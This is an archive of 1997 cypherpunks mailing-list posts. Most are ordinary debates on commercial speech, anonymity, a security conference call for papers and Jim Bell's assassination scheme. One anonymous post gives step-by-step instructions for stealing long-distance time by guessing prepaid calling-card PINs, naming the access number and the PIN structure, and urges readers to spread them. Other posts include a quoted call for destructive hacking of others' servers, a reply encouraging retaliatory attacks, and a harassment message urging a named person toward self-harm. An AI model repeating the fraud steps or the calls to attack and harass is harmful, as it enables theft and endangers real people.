Message-ID: <199706100545.BAA25905@candy.micro-net.com>


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Your email address was acquired during a targeted search
of the Web for those we believed would be interested in
the following.  If this message reaches you in error, simply
hit reply and put the word "remove" by itself in the subject
line for immediate removal.
//////////////////////////////////////////////////////////////////////////////

Come visit http://www.shox.com, the home page of RD Enterprises, the nation's 
largest wholesale and retail distributor of shock absorbers, springs, struts, sway 
bars, strut tower braces and suspension packages for street high performance, 
autocross, race, and quality luxury motorcars...including suspension set-ups for 
pick-up trucks, sport utility vehicles (SUV's), motorhomes, kit cars, weekend slalom, 
and full coil over race cars.

If you are interested in a mutual link, contact linx at shox.com for a banner swap 
and/or mutual link.  Thank you for your time!

sales at shox.com

http://www.shox.com





From nexus at eskimo.com  Mon Jun  9 07:50:58 1997
From: nexus at eskimo.com (Brian Lane)
Date: Mon, 9 Jun 1997 22:50:58 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: <339c0f30.65344598@mail.eskimo.com>



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 8 Jun 1997 15:48:58 -0700, you wrote:

>At 5:51 AM -0700 6/8/97, William H. Geiger III wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>>In , on 06/08/97
>>   at 07:36 AM, Declan McCullagh  said:
>>
>>>I don't think commercial speech should be treated as second-class speech.
>>>But my position is hardly surprising.
>>
>>Well I think that there are some that would confuse the issue between 1st
>>Amendment free speech and the issues surrounding fraud. Especially those
>>in government who write the laws that regulate commercial speech.
>
>The mistake has been to extend "fraud" laws to non-contract situations,
>e.g., ordinary speech (as distinguished from contracts).

  This is very true. We now live in a society that expects to be
'protected' from everything, including their own ignorance, by Big
Brother. Free Speech is just that -- free -- and should be accepted as
such. We have various private organizations that have made it their
business to oversee the truthfulness of product advertising and
quality and this is how it should be.

  I believe that we have actually given up some of our free speech
rights in order to be protected against the 'big bad companies looking
to rip you off'. This has resulted in the government making a grab for
more and more of our rights, the building of a buearucratic
infrastructure to support this grab, and a seperate society back there
in Wasington DC.

  Brian

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5wRWKQxGtxXsXypAQG9DAP/dKydBwBI9JZ40nuJv0hDsWlytQRwSUPq
9tgxjTr7QC+qRJ4mYzikIvcdWKISk203sD4BsXbC83fW9p8zQuaN9RagMTUBKfOw
yM0Pc6lyfv/G6IYqxt71vWnzHBHCrcGamFQQXASd1QzKSvUUHH/ealuBCuPVZYm3
GWH1YrtzMiI=
=Ht6r
-----END PGP SIGNATURE-----

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From rah at shipwright.com  Mon Jun  9 08:02:11 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 9 Jun 1997 23:02:11 +0800
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Message-ID: 




--- begin forwarded text


Date: Fri, 6 Jun 1997 15:05:43 -0700
From: bishop at cs.ucdavis.edu (Matt Bishop)
To: ipsec at ans.net
Subject: CFP: 1998 Symposium on Network and Distributed System Security
Sender: owner-ipsec at ex.tis.com
Precedence: bulk

CALL FOR PAPERS

The Internet Society Symposium on Network and Distributed System Security

Where: San Diego, California
When: March 1998

GOAL: The symposium will foster information exchange between hardware and
software developers of network and distributed system security services.
The intended audience is those who are interested in the practical aspects
of network and distributed system security, focusing on actual system
design and implementation, rather than theory.  Encouraging and enabling
the Internet community to apply, deploy, and advance the state of available
security technology is the major focus of symposium.  Symposium proceedings
will be published by the Internet Society.  Topics for the symposium
include, but are not limited to, the following:

* Architectures for large-scale, heterogeneous distributed systems
* Security in malleable systems: mobile code, mobile agents, dynamic policy
  updates, etc.
* Special problems: e.g. interplay between security goals and other goals --
  efficiency, reliability, interoperability, resource sharing, and cost.
* Integrating security services with system and application security
  facilities and with application protocols, including message handling,
  file transport, remote file access,  directories, time synchronization,
  data base management, routing, voice and video multicast, network
  management, boot services, and mobile computing.
* Fundamental services:  authentication, integrity, confidentiality,
  authorization, non-repudiation, and availability.
* Supporting mechanisms and APIs: key management and certification
  infrastructures, audit, and intrusion detection.
* Telecommunications security, especially for emerging technologies -- very
  large systems like the Internet, high-speed systems like the gigabit
  testbeds, wireless systems, and personal communication systems.
* Controls: firewalls, packet filters, application gateways
* Object security and security objects
* Network information resources and tools such as World Wide Web (WWW),
  Gopher, Archie, and WAIS.
* Electronic commerce:  payment services, fee-for-access, EDI, notary;
  endorsement, licensing, bonding, and other forms of assurance; intellectual
  property protections

GENERAL CHAIR:
	David Balenson, Trusted Information Systems
PROGRAM CHAIRS:
	Matt Bishop, University of California at Davis
	Steve Kent, BBN
PROGRAM COMMITTEE:
	Steve Bellovin, AT&T Labs -- Research
	Doug Engert, Argonne National Laboratories
	Warwick Ford, VeriSign
	Li Gong, JavaSoft
	Rich Graveman, Bellcore
	Ari Juels, RSA Laboratories
	Tom Longstaff, CERT/CC
	Doug Maughan, National Security Agency
	Dan Nessett, 3Com Corporation
	Rich Parker, NATO
	Michael Roe, Cambridge University
	Rob Rosenthal, DARPA
	Wolfgang Schneider, GMD Darmstadt
	Christoph Schuba, Purdue University
	Win Treese, Open Market, Inc.
	Jonathan Trostle, Novell
	Gene Tsudik, USC/Information Sciences Institute
	Steve Welke, Institute for Defense Analyses
LOCAL ARRANGEMENTS CHAIR:
	Thomas Hutton, San Diego Supercomputer Center
PUBLICATIONS CHAIR:
	Steve Welke, Institute for Defense Analyses
LOGISTICS CHAIR:
	Torryn Brazell, Internet Society

SUBMISSIONS: The committee invites technical papers and panel
proposals, for topics of technical and general interest.  Technical
papers should be 10-20 pages in length.  Panel proposals should be two
pages and should describe the topic, identify the panel chair, explain
the format of the panel, and list three to four potential panelists.
Technical papers will appear in the proceedings.  A description of each
panel will appear in the proceedings, and may at the discretion of the
panel chair, include written position statements from each panelist.

Each submission must contain a separate title page with the type of
submission (paper or panel), the title or topic, the names of the
author(s), organizational affiliation(s), telephone and FAX numbers,
postal addresses, Internet electronic mail addresses, and must list a
single point of contact if more than one author.  The names of authors,
affiliations, and other identifying information should appear only on
the separate title page.

Submissions must be received by 1 August 1997, and should be made via
electronic mail in either PostScript or ASCII format.  If the committee
is unable to print a PostScript submission, it will be returned and
hardcopy requested.  Therefore, PostScript submissions should arrive
well before 1 August.  If electronic submission is difficult,
submissions should be sent via postal mail.

All submissions and program related correspondence (only) should be
directed to the program chair:  Matt Bishop, Department of Computer
Science, University of California at Davis, Davis CA  95616-8562,
Email: sndss98-submissions at cs.ucdavis.edu. Phone: +1 (916) 752-8060,
FAX: +1 (916) 752-4767,

Dates, final call for papers, advance program, and registration
information will be available at the URL:
http://www.isoc.org/conferences/ndss98.

Each submission will be acknowledged by e-mail.  If acknowledgment is
not received within seven days, please contact the program chair as in-
dicated above.  Authors and panelists will be notified of acceptance by
1 October 1997.  Instructions for preparing camera-ready copy for the
proceedings will be sent at that time.  The camera-ready copy must be
received by 1 November 1997.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From whgiii at amaranth.com  Mon Jun  9 08:12:39 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Mon, 9 Jun 1997 23:12:39 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: <199706090408.XAA13740@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 06/08/97 
   at 05:27 PM, Tim May  said:

>At 4:14 PM -0700 6/8/97, William H. Geiger III wrote:

>>Well I would have to dissagre. Advertisements should be covered under
>>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>>really does "Z" then this is clearly fraudulent behavior.

>When I was growing up, advertisements that a product would make one
>attractive to women, for example, were treated as marketing jive. And we
>were all taught the old saw, "If Johhny told you to jump off a cliff,
>would you?" (This along with "sticks and stones" formed the basis of my
>proto-libertarian view.)

>An advertisement is a tease, not a promise. If a advertisement for a
>Pentium says it will run Macintosh software and run it at 600 Mhz, the
>proper response is skepticism, not demanding a law be passed to stop such
>advertisements.

>The key lies in proper contracts, not in regulating speech.

>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to
>be subjected to an increasing number of limitations?)

So what you are saying that if I call up Widgits, Inc. and order product
"X" that they advertizes does "Y". They instead send me product "X" that
does "Z" not "Y" then I should have no recource? I should atleast be able
to get my money back as they have not sold me the product that they
claimed to be selling (clear violation of the "contract" between buyer and
seller).

I have no problem with them saying their product does "Y" but if I spend
my hard earned money on it then it best do what they say it does. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCUAwUBM5uCfo9Co1n+aLhhAQG6XgP3f67O8YEkHd+e2uXJAfEB77of86QeOmhI
AOkK3tjVEejkqsJZghoda2FnKC/xmdUxJut28zkGs+6r6Ua5sxc8GL72tqlESF5V
vtnRIq1ushH4plUj/pjAzFI8G78ByNNg1dGpVIWsXeZSKwwFNNp39ANufnSf0osn
q3Ts0DJM1Q==
=qVti
-----END PGP SIGNATURE-----






From mpd at netcom.com  Mon Jun  9 08:13:26 1997
From: mpd at netcom.com (Mike Duvos)
Date: Mon, 9 Jun 1997 23:13:26 +0800
Subject: Julf ordered to reveal anon IDs
In-Reply-To: <199706081936.MAA00296@fat.doobie.com>
Message-ID: <199706090224.TAA09036@netcom20.netcom.com>



Someone with Huge Cajones wrote:

> Johan Helsingius (Julf) has been ordered to release the identity of the
> poster of one of the Scamizdat series of confidential materials. 

> "The following ID's were used to send material through anon.penet.fi: 
> an498608 at anon.penet.fi, an545430 at anon.penet.fi

Wasn't the Penet anon database expunged when the service was discontinued? 

I'd hate to think anyone was dense enough to keep copies lying around, in
order to comply with frivilous Clam lawsuits in perpetuity. 

BTW, are the Clams still looking for crypographic consultants to decrypt
the Grady Ward files?  It has been a while since I have perused
alt.religion.elron. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From kent at songbird.com  Mon Jun  9 08:18:25 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 9 Jun 1997 23:18:25 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: <19970608191152.24366@bywater.songbird.com>



On Sun, Jun 08, 1997 at 06:14:59PM -0500, William H. Geiger III wrote:
>In , on 06/08/97 
>   at 03:48 PM, Tim May  said:
[...]
>>Contracts, with clearly stated conditions and with judgeable or
>>falsifiable/testable conditionals, are a matter for the courts (private
>>courts, in fact), but vague promises, advertisements, propaganda, etc.
>>are not.
>
>>Clear now?
>
>Well I would have to dissagre. Advertisements should be covered under
>contract law as verbal contracts. If I advertise that "X" does "Y" but it
>really does "Z" then this is clearly fraudulent behavior.
>
>The difficulty is in proving that "X" does "Z" and not "Y" but that is an
>exercise left to the civil courts.

I agree that advertisements are in many cases a verbal contract ("does
0-60mph in 5 seconds flat"), but this seems to be intrinsically messy. 
There aren't any simple, clear-cut rules that separate advertising
from other speech. 

But the fundamental principle that says "redress is available for speech
that causes harm" seems fairly clean.  That cuts across advertising,
salespersons lies, libel/slander, yelling "fire" in a theater -- a
whole gamut of free speech issues.  Spam falls under such a rule, as
well.  Of course, the issue of prior restraint is orthogonal to this 
rule... 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From paul at fatmans.demon.co.uk  Mon Jun  9 08:34:11 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 9 Jun 1997 23:34:11 +0800
Subject: IRA (was Re: [CONTROVERSIAL]: A Defense of Terrorism)
In-Reply-To: <199701081748.RAA00773@server.test.net>
Message-ID: 




> (I forget name, but there is a non-governmental paramilitary group on
> other side to IRA in NI, occasionally there is rumor that British Army
> is feeding this paramilitary organisation names of IRA suspects to
> hit, to save them the trouble).

There are several, I believe the main one is the RUC ;-)....

> Wonder what the interest is in Northern Ireland?

Probably just the usual image thing, to pull out of NI after so much 
brutality had been carried out and so much money spent now would be 
inviting a media barbeque.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From trei at process.com  Mon Jun  9 08:36:47 1997
From: trei at process.com (Peter Trei)
Date: Mon, 9 Jun 1997 23:36:47 +0800
Subject: MS Access 97 deprotection?
Message-ID: <199706091524.LAA01532@www.video-collage.com>



     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei at process.com






From declan at pathfinder.com  Mon Jun  9 08:43:00 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 9 Jun 1997 23:43:00 +0800
Subject: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: <199706081801.LAA28966@proxy4.ba.best.com>
Message-ID: 



Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
Government thugs got your goat (or your computers, your car, your guns?)
Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
you off on the way to work? Kill them off. 

When I pointed out to Bell that his plan if implemented would allow you to
knock off not just government thugs but annoying neighbors, his response
was that assassins might opt only to eradicate the Feds -- hardly a
reassuring thought.

-Declan


On Sat, 7 Jun 1997 jamesd at echeque.com wrote:

> At 12:42 PM 6/4/97 -0400, Hallam-Baker wrote:
> > Bell's Murder Politics scheme was a censorship scheme.
> 
> Surely people would be more inclined to kill politicians 
> for what they do, rather than what they say.
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd at echeque.com
> 
> 






From paul at fatmans.demon.co.uk  Mon Jun  9 09:14:21 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 10 Jun 1997 00:14:21 +0800
Subject: My War
In-Reply-To: 
Message-ID: 





> I started logging the channels. I wanted to silently gather IP addresses 
> and email addresses. These people needed some genuine hacker terror. 
> Among some of the more active and persistent traders were:

se7en believes in attacking other peoples equipment and censoring those 
who say things he does not like. Foo.

> Well, this whole situation is unacceptable. 

In what sense?

> First, I would like to apologize to all those who have hired me in 
> the past, and were subject to my emotional rants about how the 
> whole subject was bullshit and not real. 

Is this really relevant?

> It is very real. It is disgustingly real. It is so real it will make you 
> want to throw up, and I actually, physically did throw up last night.

Good, I hope your censorous ass chokes next time.

> Second, in reference to previous conversation over the years on this list, 
> and in the hacking community in general, I know this type of activity is 
> not tolerated by us. 

Do not include me in either the falsely moral "hacker community", which 
does not even exist anymore in the same way it did years ago, or make 
assumptions that I believe certain forms of speech are more valuable than 
others.

> Yes, I am advocating malicious, destructive hacking activity against 
> these people. Who are they going to run to? The police? "They hacked my 
> kiddie porn server and rm -rf'd my computer!" Right...the police will be 
> so anxious to lock us up left and right.

Anyone who attacks others peoples computer equipment in this manner 
commits a crime, whether they can respond or not is immaterial, it is a 
matter of morality and respecting other peoples right to free spech and 
their property rights.

> These people need to be eradicated from the Internet. While that may 
> never happen completely, enough harrassment will send a message that 
> engaging in this type of activity in very dangerous, and can result in 
> serious harrassment, public embarrassment and computer destruction.

An aspiring member of the cabal crawls out of the woodwork ...

> This is my war. It will be a public war. I don't care what happens to me 
> by their community or by law enforcement. I feel secure enough that no 
> jury in the world will convict me for taking these people out. 

"Members of the jury, we only killed him because he was black, surely you 
realise all blacks are scum, don`t you?"

> I don't expect people to join me here on this. If you do, you have enough 
> information to start. I caution you to log what is going on, and to make 
> sure you are hitting the guilty, so no innocent people get annihilated in 
> the process. Make damn sure you know who you are hitting and why, and be 
> able to back it up with the idea of having to justify your actions in 
> front of a jury.

I would encourage anyone who wants to to take retaliatory action against 
se7en or any of his supporters to do so, attacks on freedom of speech and 
attempts at censorship like this cannot be allowed to go unchallenged.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From emc at wire.insync.net  Mon Jun  9 09:16:22 1997
From: emc at wire.insync.net (Eric Cordian)
Date: Tue, 10 Jun 1997 00:16:22 +0800
Subject: My War
In-Reply-To: 
Message-ID: <199706091609.LAA03231@wire.insync.net>



Se7en writes:

[The Story of his Mental Breakdown]

I do believe we've found a date for Debbie Mahoney. 

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From erict at iconmedialab.se  Tue Jun 10 00:20:31 1997
From: erict at iconmedialab.se (Eric THunfors)
Date: Tue, 10 Jun 1997 00:20:31 -0700 (PDT)
Subject: No Subject
Message-ID: 


UNSUBSCRIBE cypherpunks

_____________
�nnu en s�n d�r trevlig signatur rad
_____________







From alano at teleport.com  Mon Jun  9 09:49:36 1997
From: alano at teleport.com (Alan)
Date: Tue, 10 Jun 1997 00:49:36 +0800
Subject: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: 
Message-ID: 



On Mon, 9 Jun 1997, Declan McCullagh wrote:

> 
> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy. 
> Government thugs got your goat (or your computers, your car, your guns?)
> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
> you off on the way to work? Kill them off. 

This is the best description of AP so far.  Jim had about as much chance
of implementing it as most adolescent fantasies.  (At least he was not
posting about porn fantasies involving the Brady Bunch meets Gilligan's
Island or somesuch...)

The general consensus of those who met him at the first Portland physical
meeting was that he was pretty far into fantasy.  (There is a certain
childish glee that tends to accompany such thoughts.  He had that glee
when talking about AP and the carbon fiber threat. (Although he did not
give actual methods on the carbon thread one.  Just vague comments about
"something wonderful".))

> When I pointed out to Bell that his plan if implemented would allow you to
> knock off not just government thugs but annoying neighbors, his response
> was that assassins might opt only to eradicate the Feds -- hardly a
> reassuring thought.

You were not the only one to point that out to him.  He was so attached to
his little plan that he was totally unwilling to see any flaw in it.  I
pointed out that people with the amount of cash and scruples of Bill
Gatesw would use it to wipe out compeating companies staff and/or
management.  (Though, if they were smart, they would just take out the
lead engineer on the most threatening projects.)

The big problem I had with AP, other than implementation and concept, was
that he was unwilling to do his own dirty work.  He reminded me of people
who eat meat, but could not concieve of killing Bambi.  You don't go into
a scheme like that and still think that you won't get blood on your
hands.

alano at teleport.com | "Those who are without history are doomed to retype it."






From tcmay at got.net  Mon Jun  9 09:55:14 1997
From: tcmay at got.net (Tim May)
Date: Tue, 10 Jun 1997 00:55:14 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: 



At 7:57 PM -0700 6/8/97, William H. Geiger III wrote:

>So what you are saying that if I call up Widgits, Inc. and order product
>"X" that they advertizes does "Y". They instead send me product "X" that
>does "Z" not "Y" then I should have no recource? I should atleast be able
>to get my money back as they have not sold me the product that they
>claimed to be selling (clear violation of the "contract" between buyer and
>seller).

Contracts in a free society are a complicated issue. I suggest reading some
of the usual literature on the subject, including Benson's "The Enterprise
of Law," Friedman's "The Machinery of Freedom, "Reason" magazine, etc.

In your hypo above, even you are talking about after the fact redress, or
contract arbitration. This is quite different from the increasing
regulation of commercial speech in blanket forms (such as no liquor
advertising within X yards of schools, no cigarette advertising without
extensive mandated warnings, limitations on claims for medical products,
etc.)

In the hypo of ordering a product, an implicit contract is made. Phone
orders are for the convenience of consumers like ourselves; corporations
usually place "purchase orders," and these P.O.s almost always contain
performance requirements.

End consumers who are not happy buying from "PCs-R-Us" because they ordered
a 200 MHz Pentium and instead received a 66 MHz 486 machine have plenty of
recourses. They can almost certainly get their money back from the vendor
(without their being laws on speech), they can call their credit card
company and cancel the sale, they can take the matter to court or
arbitration (not on free speech grounds, of course), and so on.

Ultimately,  "PCs-R-Us" would last for a short time in a competitive
environment, and savvy buyers would avoid them. One of the best protections
against the kind of hypothetical fraud William Geiger hypothesizes is
_reputation_.

Claiming that Big Brother needs to have laws limiting the speech of
"commercial" speakers is not the right way to go.

(And it wasn't even common until this century, especially the last 20 years.)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Mon Jun  9 11:32:21 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 10 Jun 1997 02:32:21 +0800
Subject: Question about anonymizing proxies
Message-ID: <199706091758.KAA31403@fat.doobie.com>



Sorry if this has been beaten to death before (if it has, a pointer to
where it is in the archives would be appreciated), but is it possible to
chain anonymizing proxy servers in a way similar to remailers?






From nobody at REPLAY.COM  Mon Jun  9 11:47:10 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 02:47:10 +0800
Subject: Your REFUND from IQ INTERNET IS HERE!
Message-ID: <199706091839.UAA15229@basement.replay.com>



Your REFUND from IQ INTERNET IS HERE!

This message is for anyone who was rip�d off by IQ INTERNET  

You can now obtain a FULL Refund paid to these
Bastards by following these simple instructions.

I could also use some help in distributing this REFUND offer!
Please help me by mass emailing this out to the Internet.  I am sure
we could find �others� who would like a REFUND too! (g) LOL!

I just discovered a "way cool" crack for IQ DIRECT / WMRG COM., a pre-paid calling card company.  If you want FREE long distance to any where in the world here it is.!!!

Call 1-800-510-7941 the automated prompt will ask you for a pin number.

Now here is the "Way Cool" Crack ...The pin number is a 10 digit code, for example: 748-700-4162  The first 3 numbers is the 'batch" code and will always stay the same.
The "batch" codes seem to run sequentially. In other words 100, 101,112 ...748,749,....999 end.  The "batch" codes also represents dollars denominations of $5, $10, $20, $50, $100, $500!!! (lol G)

The second and third set of numbers are somewhat random.  However as in the example 748-700-4163, I know of people who have been able to pick up a lot of FREE time just by changing one number in the second or third set of numbers. 

When you dial the 1-800-510-7941 number the automated voice will allow you 5 attempts to enter the correct pin number.  You will be disconnected after the 5th attempt.  But hey, no problem!  Just call back and retry.  I have found on average that within the 10th attempt at entering a pin number, you will find an authorized pin number!

It is really a lot of fun!  Sort of like spinning the Wheel of Fortune and coming up with a jackpot of up to $500 in pre-paid long distance!

This crack is likely to end within 1 week of this posting 6/07/97. 

Do yourself a favor and Hurry!  

Let everyone know about this "limited" opportunity. (G)

Due to high call traffic you may run into busy signals  (lol & G)!!!

$incerely,

Dialing For Dollars$$$








From tcmay at got.net  Mon Jun  9 12:12:03 1997
From: tcmay at got.net (Tim May)
Date: Tue, 10 Jun 1997 03:12:03 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: 



At 7:11 PM -0700 6/8/97, Kent Crispin wrote:

>
>But the fundamental principle that says "redress is available for speech
>that causes harm" seems fairly clean.  That cuts across advertising,
>salespersons lies, libel/slander, yelling "fire" in a theater -- a
>whole gamut of free speech issues.  Spam falls under such a rule, as
>well.  Of course, the issue of prior restraint is orthogonal to this
>rule...

This "fundamental principle" is not nearly as clean or as fundamental as
you represent.

Much speech indisputably "causes harm." Some harm is economic, some harm is
pyschogical, some harm is even physical.

Much of this speech remains protected, even in these times where the
Constitution has suffered decay. For example, one of the tests for libel
and slander, to name an example where "harm" is usually claimed, is
"knowingly false."

And in commercial areas, much "harm" is done by businesses to other
businesses, and yet this is (properly) protected. When a business
advertises its lower prices, or cites endorsements from luminaries, this is
"speech." If another business is "harmed" by this speech, is there
"redress"?

No. And there should not be. Harm is a name for various adverse
developments. Many if not most of them are closely linked to speech issues.
Legislating harm away is not consistent with a free and open society.

The example of "falsely shouting "Fire!" in a crowded theater" (I inserted
the word "falsely" as this is often left out by folks, and is of course
central to the point) is well-trod ground. The SC Justice who used this
later said he wished he'd never used the expression, as it was used by all
manner of people seeking to limit speech.

Spam is a name for "unwanted communications." The proper solution is
technological/ontological, e.g., metering. It is a defect of our current
e-mail model that one can deliver a million pieces of e-mail for no cost.
This will be fixed, and is a solution vastly preferable to having a
government agency decide which communications are permissable and which are
not.

(Many of these issues are mooted by crypto anarchy, of course.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From real at freenet.edmonton.ab.ca  Mon Jun  9 12:28:47 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 10 Jun 1997 03:28:47 +0800
Subject: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <199706090007.CAA10876@basement.replay.com>
Message-ID: 



On Mon, 9 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timmy C. 
> May's pea-sized penis. He would be better served by a 
> safety razor, possibly applied in a bathtub filled with 
> warm water (something he has surely never been into).
> 
>       o
>   /\O/        O Timmy C. May
>  0  \\    | 0-#
>     //    |  / \
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Mon Jun  9 12:41:54 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 10 Jun 1997 03:41:54 +0800
Subject: With friends like these...
Message-ID: <199706091928.MAA01854@fat.doobie.com>




I just read www.crypto.com/key_study.  I was not impressed.  In fact,
one thing worries me a lot.  I think the report basicly sells us out.

The authors, Hal Abelson [1], Ross Anderson [2], Steven M. Bellovin
[3], Josh Benaloh [4], Matt Blaze [5], Whitfield Diffie [6], John
Censor Gilmore [7], Peter G. Neumann [8], Ronald L. Rivest [9],
Jeffrey I. Schiller [10], Bruce Schneier [11],
include many "respected" "experts".  Some of them, like Blaze and Diffie
and Schneier, are people who act like they're on our side.  But... Benaloh
works for microsoft and Rivest for Bidzos.  Two from AT&T.  One from
HP.  One from Sun.  The influence of big money was clear.  They want
what's good for the big companies.

The report endorses pro-code/safe, which effectively criminalizes the
use of crypto and would outlaw remailers.  It's true that they say key
recovery is a bad idea (not that it's unacceptable, however,
just a bad idea, not nearly as strong as it could be).  The reason they give
is that they think it may be too expensive for corporate America.
What they don't say is Far more interesting:

They don't say that key escrow is unacceptable, period.

They don't mention the big brother problem.

They don't talk about the long history of
government abuse (FBI, CIA, NSA, etc).

The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.

They just seem to care about what it costs.  And
these are our friends?

Now lets look at who benefits from this point of view. Criminalize
crypto, outlaw remailers, no expensive key escrow.  It SOUNDS good, at
least a small gain, but this gives them a real tool AGAINST us.  They
can come after crypto users for the first time.  Who benefits? BIG
companies.  NOT CYPHERPUNK GOALS.

By not mentioning it, I think these guys have sold out.  They
may not realize it themselves, but the effect is just as bad (maybe worse).

CDT which brought us the CALEA and the CDA, funded the study. They no
doubt were able to influence the content to get rid of the
"unacceptable" stuff.

We should be asking who our friends are here.  I think if these guys
really wanted to be effective, they could take more of a real stand, with some
real risks. Have ANY of these guys ever written code to promote strong
